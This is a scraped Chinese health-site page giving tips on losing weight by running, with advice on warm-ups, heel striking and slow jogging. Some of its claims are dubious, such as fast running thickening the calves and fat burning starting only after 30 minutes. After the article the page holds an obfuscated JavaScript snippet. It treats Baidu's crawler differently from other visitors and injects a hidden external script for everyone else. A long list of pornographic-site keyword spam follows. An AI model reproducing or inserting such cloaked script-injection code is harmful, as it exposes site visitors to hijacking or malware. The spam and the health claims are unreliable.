當前位置:首頁 > 減肥 > 運動減肥 > 正文

跑步可不可以瘦身呢

2017-04-21 15:03:52  來源:360常識網   熱度:
導語:什么運動能瘦身?跑步運動能瘦身嗎?跑步是運動減肥過程中最有效的一種運動方法。跑步是一項有氧運動,讓我們的身體更健康。可是很多朋友,

什么運動能瘦身?跑步運動能瘦身嗎?跑步是運動減肥過程中最有效的一種運動方法。跑步是一項有氧運動,讓我們的身體更健康。可是很多朋友,特別是女性朋友一說起跑步,大多都說不敢跑,其中最主要的原因就是怕跑完腿粗。那么跑步究竟對減肥有效嗎?跑步能腿粗嗎?怎樣跑才能即減肥又不會使腿粗呢!假如你掌握了其中的要領和正確姿勢,不但不會造成小腿粗壯,還能跑出美麗的S曲線呢。下面,我為大家介紹跑步瘦身的正確方法,教您跑出好身材。

跑步本來是一種有效的瘦身減肥方法,不過由于這種減肥方式有可能導致腿部變粗,所以很多MM只能無奈棄之。其實,只要掌握了跑步的要領和正確姿勢,是可以避免小腿變粗的。

跑步減肥的要領篇

1、熱身運動很重要從小學起,上體育課的時候老師就教過我們運動前要先做熱身運動,以防拉傷肌肉。長大后的我們怎么能忘記老師們的尊尊教導呢?所以,在我們進行跑步減肥前,要先拉伸腿部的肌肉,讓小腿以最佳的狀態去迎接后面的運動。

2、腳跟落地是關鍵跑步的時候,你通常是前腳掌先落地還是腳跟先落地呢?如果你的答案是前者的話,那你就犯了很多MM都會犯的錯誤。跑步時前腳掌先落地是不正確的,雖然這樣跑起步來比較輕松不吃力,但這會造成腿部粗壯的。所以,為了MM們美麗纖細的美腿,跑步時要切記用腳跟落地,接著前腳掌觸地慢跑。

3、慢跑減肥最見效跑步屬于有氧運動,它通過運動達到消耗機體多余的脂肪,達到減肥瘦身的目的。所以這種運動是需要在有氧狀態下進行的,慢跑就符合這種狀態。

MM們不要以為跑得越快,減肥的效果就越好。其實這種做法是錯誤的,快跑雖然消耗的熱量比較多,但是這會對小腿造成負擔,加快肌肉的增長,導致小腿變粗。脂肪真正燃燒的時間是在持續運動了30分鐘之后,所以堅持慢跑半個小時以上是最有效的跑步減肥方法。

跑步可不可以瘦身呢?上面的內容為我們做出了詳細的介紹。最后提醒大家,運動瘦身也比節食瘦身不容易復胖,因為運動后的瘦肌肉組織代謝比較強。不過瘦身這回事是欲速則不達,且要持之以恒,建議每周慢跑2~3次,每次最少30分鐘,瘦身效果每人不一,大家可以根據自己的身體和時間分配做相應的調整,祝大家都能跑出一副好身材!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲视频在线精品| 精品国产麻豆免费人成网站| 人妻少妇精品视频二区| 国产视频精品免费| 青草国产精品久久久久久| 亚洲精品亚洲人成在线观看下载| 99热在线精品国产观看| 久久久久人妻一区精品果冻| 国产精品自在在线午夜| 人妻老妇乱子伦精品无码专区| 国产网红无码精品视频| 亚洲?V乱码久久精品蜜桃| 国产精品免费精品自在线观看| 麻豆精品成人免费国产片| 国产日韩精品视频| 亚洲精品无码av中文字幕| 乱精品一区字幕二区| 久久免费99精品国产自在现线| 久草热8精品视频在线观看| 99热这里只有精品国产动漫| 一本久久a久久精品vr综合| 亚洲精品tv久久久久| 国产精品一区二区无线| 亚洲国产成人精品无码区二本 | www.精品国产| 精品国产香蕉伊思人在线在线亚洲一区二区| 久久中文字幕精品 | 四虎永久在线精品波多野结衣| 午夜精品久久久久久毛片| 香蕉在线精品视频在线观看2| 国产成人综合久久精品下载 | 久久99精品久久久久久水蜜桃| 精品无码久久久久国产动漫3d| 亚洲av永久无码精品古装片| 国产美女亚洲精品久久久综合| 国产成人无码精品久久久久免费| 国产91精品久久久久999| 精品久久久久不卡无毒| 精品人妻系列无码人妻漫画| 国产精品自在拍在线拍 | 国内揄拍高清国内精品对白|